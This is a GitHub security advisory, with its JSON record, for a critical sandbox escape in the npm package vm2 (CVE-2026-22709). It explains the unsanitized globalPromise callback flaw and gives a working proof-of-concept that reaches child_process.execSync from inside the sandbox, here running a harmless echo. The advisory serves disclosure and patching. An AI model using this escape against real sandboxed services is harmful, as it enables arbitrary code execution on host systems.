GHSA-99P7-6V5W-7XG8

Vulnerability from github – Published: 2026-01-26 18:57 – Updated: 2026-01-26 18:57
VLAI?
Summary
vm2 has a Sandbox Escape
Details

In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.

const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
    );
    f();
});
`;

new VM().run(code);

In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.

Severity ?
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-913",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-26T18:57:14Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.\n\n```js\nconst { VM } = require(\"vm2\");\n\nconst code = `\nconst error = new Error();\nerror.name = Symbol();\nconst f = async () =\u003e error.stack;\nconst promise = f();\npromise.catch(e =\u003e {\n    const Error = e.constructor;\n    const Function = Error.constructor;\n    const f = new Function(\n        \"process.mainModule.require(\u0027child_process\u0027).execSync(\u0027echo HELLO WORLD!\u0027, { stdio: \u0027inherit\u0027 })\"\n    );\n    f();\n});\n`;\n\nnew VM().run(code);\n```\n\nIn lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.",
  "id": "GHSA-99p7-6v5w-7xg8",
  "modified": "2026-01-26T18:57:14Z",
  "published": "2026-01-26T18:57:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.10.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has a Sandbox Escape"
}


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